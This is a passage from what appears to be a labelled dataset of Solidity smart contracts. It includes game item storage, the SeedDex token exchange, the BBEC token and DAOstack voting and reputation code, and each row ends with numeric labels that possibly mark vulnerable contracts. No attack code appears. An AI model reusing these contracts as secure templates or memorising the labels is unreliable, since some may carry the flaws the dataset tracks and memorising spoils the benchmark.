function getItemTypeIdByTypeAndId(string _itemTypeTitle, uint256 _itemId) public onlyLogicContract view returns(uint256) {
return uintStorage[_b3(_itemTypeTitle, _itemId)];
}
function getItemPriceById(string _itemType, uint256 _itemId) public onlyLogicContract view returns(uint256) {
return uintStorage[_b1(_itemType, _itemId, "price")];
}
function getTypicalItemById(string _itemType, uint256 _itemId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256,
uint256
) {
return (
_itemId,
stringStorage[_b1(_itemType, _itemId, "name")],
uintStorage[_b1(_itemType, _itemId, "value")],
uintStorage[_b1(_itemType, _itemId, "price")],
uintStorage[_b1(_itemType, _itemId, "durability")]
);
}
function getShipById(uint256 _shipId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256,
uint256
) {
return (
_shipId,
stringStorage[_b1("ships", _shipId, "name")],
uintStorage[_b1("ships", _shipId, "hp")],
uintStorage[_b1("ships", _shipId, "block")],
uintStorage[_b1("ships", _shipId, "price")]
);
}
function getEngineById(uint256 _engineId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256,
uint256,
uint256
) {
return (
_engineId,
stringStorage[_b1("engines", _engineId, "name")],
uintStorage[_b1("engines", _engineId, "speed")],
uintStorage[_b1("engines", _engineId, "giper")],
uintStorage[_b1("engines", _engineId, "price")],
uintStorage[_b1("engines", _engineId, "durability")]
);
}
function getGunByIdPart1(uint256 _gunId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256
) {
return (
_gunId,
stringStorage[_b1("guns", _gunId, "name")],
uintStorage[_b1("guns", _gunId, "min")],
uintStorage[_b1("guns", _gunId, "max")]
);
}
function getGunByIdPart2(uint256 _gunId) public onlyLogicContract view returns(
uint256,
uint256,
uint256,
uint256,
uint256
) {
return (
uintStorage[_b1("guns", _gunId, "radius")],
uintStorage[_b1("guns", _gunId, "recharge")],
uintStorage[_b1("guns", _gunId, "ability")],
uintStorage[_b1("guns", _gunId, "price")],
uintStorage[_b1("guns", _gunId, "durability")]
);
}
function getMicroModuleByIdPart1(uint256 _microModuleId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256
) {
return (
_microModuleId,
stringStorage[_b1("microModules", _microModuleId, "name")],
uintStorage[_b1("microModules", _microModuleId, "itemType")],
uintStorage[_b1("microModules", _microModuleId, "bonusType")]
);
}
function getMicroModuleByIdPart2(uint256 _microModuleId) public onlyLogicContract view returns(
uint256,
uint256,
uint256
) {
return (
uintStorage[_b1("microModules", _microModuleId, "bonus")],
uintStorage[_b1("microModules", _microModuleId, "level")],
uintStorage[_b1("microModules", _microModuleId, "price")]
);
}
function getArtefactById(uint256 _artefactId) public onlyLogicContract view returns(
uint256,
string,
uint256,
uint256,
uint256
) {
return (
_artefactId,
stringStorage[_b1("artefacts", _artefactId, "name")],
uintStorage[_b1("artefacts", _artefactId, "itemType")],
uintStorage[_b1("artefacts", _artefactId, "bonusType")],
uintStorage[_b1("artefacts", _artefactId, "bonus")]
);
}
function createShip(uint256 _shipId, string _name, uint256 _hp, uint256 _block, uint256 _price) public onlyOwnerOfStorage {
mI.createShip(_shipId);
stringStorage[_b1("ships", _shipId, "name")] = _name;
uintStorage[_b1("ships", _shipId, "hp")] = _hp;
uintStorage[_b1("ships", _shipId, "block")] = _block;
uintStorage[_b1("ships", _shipId, "price")] = _price;
}
function _update(string _itemType, uint256 _itemId, string _name, uint256 _value, uint256 _price, uint256 _durability) private {
stringStorage[_b1(_itemType, _itemId, "name")] = _name;
uintStorage[_b1(_itemType, _itemId, "value")] = _value;
uintStorage[_b1(_itemType, _itemId, "price")] = _price;
uintStorage[_b1(_itemType, _itemId, "durability")] = _durability;
}
function createRadar(uint256 _radarId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createRadar(_radarId);
_update("radars", _radarId, _name, _value, _price, _durability);
}
function createScanner(uint256 _scannerId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createScanner(_scannerId);
_update("scanners", _scannerId, _name, _value, _price, _durability);
}
function createDroid(uint256 _droidId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createDroid(_droidId);
_update("droids", _droidId, _name, _value, _price, _durability);
}
function createFuel(uint256 _fuelId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createFuel(_fuelId);
_update("fuels", _fuelId, _name, _value, _price, _durability);
}
function createGenerator(uint256 _generatorId, string _name, uint256 _value, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createGenerator(_generatorId);
_update("generators", _generatorId, _name, _value, _price, _durability);
}
function createEngine(uint256 _engineId, string _name, uint256 _speed, uint256 _giper, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createEngine(_engineId);
stringStorage[_b1("engines", _engineId, "name")] = _name;
uintStorage[_b1("engines", _engineId, "speed")] = _speed;
uintStorage[_b1("engines", _engineId, "giper")] = _giper;
uintStorage[_b1("engines", _engineId, "price")] = _price;
uintStorage[_b1("engines", _engineId, "durability")] = _durability;
}
function createGun(uint256 _gunId, string _name, uint256 _min, uint256 _max, uint256 _radius, uint256 _recharge, uint256 _ability, uint256 _price, uint256 _durability) public onlyOwnerOfStorage {
mI.createGun(_gunId);
stringStorage[_b1("guns", _gunId, "name")] = _name;
uintStorage[_b1("guns", _gunId, "min")] = _min;
uintStorage[_b1("guns", _gunId, "max")] = _max;
uintStorage[_b1("guns", _gunId, "radius")] = _radius;
uintStorage[_b1("guns", _gunId, "recharge")] = _recharge;
uintStorage[_b1("guns", _gunId, "ability")] = _ability;
uintStorage[_b1("guns", _gunId, "price")] = _price;
uintStorage[_b1("guns", _gunId, "durability")] = _durability;
}
function createMicroModule(uint256 _microModuleId, string _name, uint256 _itemType, uint256 _bonusType, uint256 _bonus, uint256 _level, uint256 _price) public onlyOwnerOfStorage {
mI.createMicroModule(_microModuleId);
stringStorage[_b1("microModules", _microModuleId, "name")] = _name;
uintStorage[_b1("microModules", _microModuleId, "itemType")] = _itemType;
uintStorage[_b1("microModules", _microModuleId, "bonusType")] = _bonusType;
uintStorage[_b1("microModules", _microModuleId, "bonus")] = _bonus;
uintStorage[_b1("microModules", _microModuleId, "level")] = _level;
uintStorage[_b1("microModules", _microModuleId, "price")] = _price;
}
function createArtefact(uint256 _artefactId, string _name, uint256 _itemType, uint256 _bonusType, uint256 _bonus) public onlyOwnerOfStorage {
mI.createArtefact(_artefactId);
stringStorage[_b1("artefacts", _artefactId, "name")] = _name;
uintStorage[_b1("artefacts", _artefactId, "itemType")] = _itemType;
uintStorage[_b1("artefacts", _artefactId, "bonusType")] = _bonusType;
uintStorage[_b1("artefacts", _artefactId, "bonus")] = _bonus;
}
function setNewPriceToItem(string _itemType, uint256 _itemTypeId, uint256 _newPrice) public onlyLogicContract {
uintStorage[_b1(_itemType, _itemTypeId, "price")] = _newPrice;
}
function transferOwnershipOfStorage(address _newOwnerOfStorage) public onlyOwnerOfStorage {
_transferOwnershipOfStorage(_newOwnerOfStorage);
}
function _transferOwnershipOfStorage(address _newOwnerOfStorage) private {
require(_newOwnerOfStorage != address(0));
ownerOfStorage = _newOwnerOfStorage;
}
function changeLogicContractAddress(address _newLogicContractAddress) public onlyOwnerOfStorage {
_changeLogicContractAddress(_newLogicContractAddress);
}
function _changeLogicContractAddress(address _newLogicContractAddress) private {
require(_newLogicContractAddress != address(0));
logicContractAddress = _newLogicContractAddress;
}
} | 1 | 3,479 |
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract SeedDex {
using SafeMath for uint;
address public admin;
address constant public FicAddress = 0x0DD83B5013b2ad7094b1A7783d96ae0168f82621;
address public manager;
address public feeAccount;
uint public feeTakeMaker;
uint public feeTakeSender;
uint public feeTakeMakerFic;
uint public feeTakeSenderFic;
bool private depositingTokenFlag;
mapping (address => mapping (address => uint)) public tokens;
mapping (address => mapping (bytes32 => bool)) public orders;
mapping (address => mapping (bytes32 => uint)) public orderFills;
address public predecessor;
address public successor;
uint16 public version;
event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address indexed user,bytes32 hash,uint amount);
event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address indexed user, uint8 v, bytes32 r, bytes32 s);
event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give, uint256 timestamp);
event Deposit(address token, address indexed user, uint amount, uint balance);
event Withdraw(address token, address indexed user, uint amount, uint balance);
event FundsMigrated(address indexed user, address newContract);
event LogEvent(string msg,bytes32 data);
modifier isAdmin() {
require(msg.sender == admin);
_;
}
modifier isManager() {
require(msg.sender == manager || msg.sender == admin );
_;
}
function SeedDex(address admin_, address manager_, address feeAccount_, uint feeTakeMaker_, uint feeTakeSender_, uint feeTakeMakerFic_, uint feeTakeSenderFic_, address predecessor_) public {
admin = admin_;
manager = manager_;
feeAccount = feeAccount_;
feeTakeMaker = feeTakeMaker_;
feeTakeSender = feeTakeSender_;
feeTakeMakerFic = feeTakeMakerFic_;
feeTakeSenderFic = feeTakeSenderFic_;
depositingTokenFlag = false;
predecessor = predecessor_;
if (predecessor != address(0)) {
version = SeedDex(predecessor).version() + 1;
} else {
version = 1;
}
}
function() public {
revert();
}
function changeAdmin(address admin_) public isAdmin {
require(admin_ != address(0));
admin = admin_;
}
function changeManager(address manager_) public isManager {
require(manager_ != address(0));
manager = manager_;
}
function changeFeeAccount(address feeAccount_) public isAdmin {
feeAccount = feeAccount_;
}
function changeFeeTakeMaker(uint feeTakeMaker_) public isManager {
feeTakeMaker = feeTakeMaker_;
}
function changeFeeTakeSender(uint feeTakeSender_) public isManager {
feeTakeSender = feeTakeSender_;
}
function changeFeeTakeMakerFic(uint feeTakeMakerFic_) public isManager {
feeTakeMakerFic = feeTakeMakerFic_;
}
function changeFeeTakeSenderFic(uint feeTakeSenderFic_) public isManager {
feeTakeSenderFic = feeTakeSenderFic_;
}
function setSuccessor(address successor_) public isAdmin {
require(successor_ != address(0));
successor = successor_;
}
function deposit() public payable {
tokens[0][msg.sender] = tokens[0][msg.sender].add(msg.value);
Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]);
}
function withdraw(uint amount) public {
require(tokens[0][msg.sender] >= amount);
tokens[0][msg.sender] = tokens[0][msg.sender].sub(amount);
msg.sender.transfer(amount);
Withdraw(0, msg.sender, amount, tokens[0][msg.sender]);
}
function depositToken(address token, uint amount) public {
require(token != 0);
depositingTokenFlag = true;
require(IERC20(token).transferFrom(msg.sender, this, amount));
depositingTokenFlag = false;
tokens[token][msg.sender] = tokens[token][msg.sender].add(amount);
Deposit(token, msg.sender, amount, tokens[token][msg.sender]);
}
function tokenFallback( address sender, uint amount, bytes data) public returns (bool ok) {
if (depositingTokenFlag) {
return true;
} else {
revert();
}
}
function withdrawToken(address token, uint amount) public {
require(token != 0);
require(tokens[token][msg.sender] >= amount);
tokens[token][msg.sender] = tokens[token][msg.sender].sub(amount);
require(IERC20(token).transfer(msg.sender, amount));
Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
}
function balanceOf(address token, address user) public constant returns (uint) {
return tokens[token][user];
}
function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) public {
bytes32 hash = keccak256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
uint amount;
orders[msg.sender][hash] = true;
Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, hash, amount);
}
function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) public {
bytes32 hash = keccak256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
require((
(orders[user][hash] || ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s) == user) &&
block.number <= expires &&
orderFills[user][hash].add(amount) <= amountGet
));
tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount);
orderFills[user][hash] = orderFills[user][hash].add(amount);
Trade(tokenGet, amount, tokenGive, amountGive.mul(amount) / amountGet, user, msg.sender,now);
}
function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private {
uint feeTakeXferM = 0;
uint feeTakeXferS = 0;
uint feeTakeXferFicM = 0;
uint feeTakeXferFicS = 0;
feeTakeXferM = amount.mul(feeTakeMaker).div(1 ether);
feeTakeXferS = amount.mul(feeTakeSender).div(1 ether);
feeTakeXferFicM = amount.mul(feeTakeMakerFic).div(1 ether);
feeTakeXferFicS = amount.mul(feeTakeSenderFic).div(1 ether);
if (tokenGet == FicAddress || tokenGive == FicAddress) {
tokens[tokenGet][msg.sender] = tokens[tokenGet][msg.sender].sub(amount.add(feeTakeXferFicS));
tokens[tokenGet][user] = tokens[tokenGet][user].add(amount.sub(feeTakeXferFicM));
tokens[tokenGet][feeAccount] = tokens[tokenGet][feeAccount].add(feeTakeXferFicM);
tokens[tokenGet][feeAccount] = tokens[tokenGet][feeAccount].add(feeTakeXferFicS);
}
else {
tokens[tokenGet][msg.sender] = tokens[tokenGet][msg.sender].sub(amount.add(feeTakeXferS));
tokens[tokenGet][user] = tokens[tokenGet][user].add(amount.sub(feeTakeXferM));
tokens[tokenGet][feeAccount] = tokens[tokenGet][feeAccount].add(feeTakeXferM);
tokens[tokenGet][feeAccount] = tokens[tokenGet][feeAccount].add(feeTakeXferS);
}
tokens[tokenGive][user] = tokens[tokenGive][user].sub(amountGive.mul(amount).div(amountGet));
tokens[tokenGive][msg.sender] = tokens[tokenGive][msg.sender].add(amountGive.mul(amount).div(amountGet));
}
function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) public constant returns(bool) {
if (!(
tokens[tokenGet][sender] >= amount &&
availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount
)) {
return false;
} else {
return true;
}
}
function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) public constant returns(uint) {
bytes32 hash = keccak256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s) == user) &&
block.number <= expires
)) {
return 0;
}
uint[2] memory available;
available[0] = amountGet.sub(orderFills[user][hash]);
available[1] = tokens[tokenGive][user].mul(amountGet) / amountGive;
if (available[0] < available[1]) {
return available[0];
} else {
return available[1];
}
}
function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) public constant returns(uint) {
bytes32 hash = keccak256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
return orderFills[user][hash];
}
function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) public {
bytes32 hash = keccak256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
require ((orders[msg.sender][hash] || ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s) == msg.sender));
orderFills[msg.sender][hash] = amountGet;
Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s);
}
function migrateFunds(address newContract, address[] tokens_) public {
require(newContract != address(0));
SeedDex newExchange = SeedDex(newContract);
uint etherAmount = tokens[0][msg.sender];
if (etherAmount > 0) {
tokens[0][msg.sender] = 0;
newExchange.depositForUser.value(etherAmount)(msg.sender);
}
for (uint16 n = 0; n < tokens_.length; n++) {
address token = tokens_[n];
require(token != address(0));
uint tokenAmount = tokens[token][msg.sender];
if (tokenAmount != 0) {
require(IERC20(token).approve(newExchange, tokenAmount));
tokens[token][msg.sender] = 0;
newExchange.depositTokenForUser(token, tokenAmount, msg.sender);
}
}
FundsMigrated(msg.sender, newContract);
}
function depositForUser(address user) public payable {
require(user != address(0));
require(msg.value > 0);
tokens[0][user] = tokens[0][user].add(msg.value);
}
function depositTokenForUser(address token, uint amount, address user) public {
require(token != address(0));
require(user != address(0));
require(amount > 0);
depositingTokenFlag = true;
require(IERC20(token).transferFrom(msg.sender, this, amount));
depositingTokenFlag = false;
tokens[token][user] = tokens[token][user].add(amount);
}
function checkshash (address tokenGet) public{
bytes32 hash = keccak256(tokenGet);
LogEvent('hash',hash);
}
} | 0 | 359 |
pragma solidity ^0.4.25;
interface IERC20 {
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BBEC_TOKEN is IERC20 {
using SafeMath for uint256;
address private deployer;
string public name = "Bliss Basal Eternal Chain";
string public symbol = "BBEC";
uint8 public constant decimals = 18;
uint256 public constant decimalFactor = 10 ** uint256(decimals);
uint256 public constant totalSupply = 2700000000 * decimalFactor;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
balances[msg.sender] = totalSupply;
deployer = msg.sender;
emit Transfer(address(0), msg.sender, totalSupply);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(block.timestamp >= 1545102693);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(block.timestamp >= 1545102693);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | 1 | 5,103 |
pragma solidity ^0.5.4;
interface IntVoteInterface {
modifier onlyProposalOwner(bytes32 _proposalId) {revert(); _;}
modifier votable(bytes32 _proposalId) {revert(); _;}
event NewProposal(
bytes32 indexed _proposalId,
address indexed _organization,
uint256 _numOfChoices,
address _proposer,
bytes32 _paramsHash
);
event ExecuteProposal(bytes32 indexed _proposalId,
address indexed _organization,
uint256 _decision,
uint256 _totalReputation
);
event VoteProposal(
bytes32 indexed _proposalId,
address indexed _organization,
address indexed _voter,
uint256 _vote,
uint256 _reputation
);
event CancelProposal(bytes32 indexed _proposalId, address indexed _organization );
event CancelVoting(bytes32 indexed _proposalId, address indexed _organization, address indexed _voter);
function propose(
uint256 _numOfChoices,
bytes32 _proposalParameters,
address _proposer,
address _organization
) external returns(bytes32);
function vote(
bytes32 _proposalId,
uint256 _vote,
uint256 _rep,
address _voter
)
external
returns(bool);
function cancelVote(bytes32 _proposalId) external;
function getNumberOfChoices(bytes32 _proposalId) external view returns(uint256);
function isVotable(bytes32 _proposalId) external view returns(bool);
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256);
function isAbstainAllow() external pure returns(bool);
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max);
}
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.4;
interface VotingMachineCallbacksInterface {
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId) external returns(bool);
function burnReputation(uint256 _amount, address _owner, bytes32 _proposalId) external returns(bool);
function stakingTokenTransfer(IERC20 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId)
external
returns(bool);
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256);
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256);
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256);
}
pragma solidity ^0.5.2;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.4;
contract Reputation is Ownable {
uint8 public decimals = 18;
event Mint(address indexed _to, uint256 _amount);
event Burn(address indexed _from, uint256 _amount);
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
mapping (address => Checkpoint[]) balances;
Checkpoint[] totalSupplyHistory;
constructor(
) public
{
}
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function balanceOfAt(address _owner, uint256 _blockNumber)
public view returns (uint256)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function mint(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(_user);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return true;
}
function burn(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOf(_user);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return true;
}
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) {
if (checkpoints.length == 0) {
return 0;
}
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal {
require(uint128(_value) == _value);
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
pragma solidity ^0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.2;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
pragma solidity ^0.5.2;
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.4;
contract DAOToken is ERC20, ERC20Burnable, Ownable {
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public cap;
constructor(string memory _name, string memory _symbol, uint256 _cap)
public {
name = _name;
symbol = _symbol;
cap = _cap;
}
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
if (cap > 0)
require(totalSupply().add(_amount) <= cap);
_mint(_to, _amount);
return true;
}
}
pragma solidity ^0.5.2;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.4;
library SafeERC20 {
using Address for address;
bytes4 constant private TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
bytes4 constant private TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)")));
bytes4 constant private APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)")));
function safeTransfer(address _erc20Addr, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFER_SELECTOR, _to, _value));
require(success);
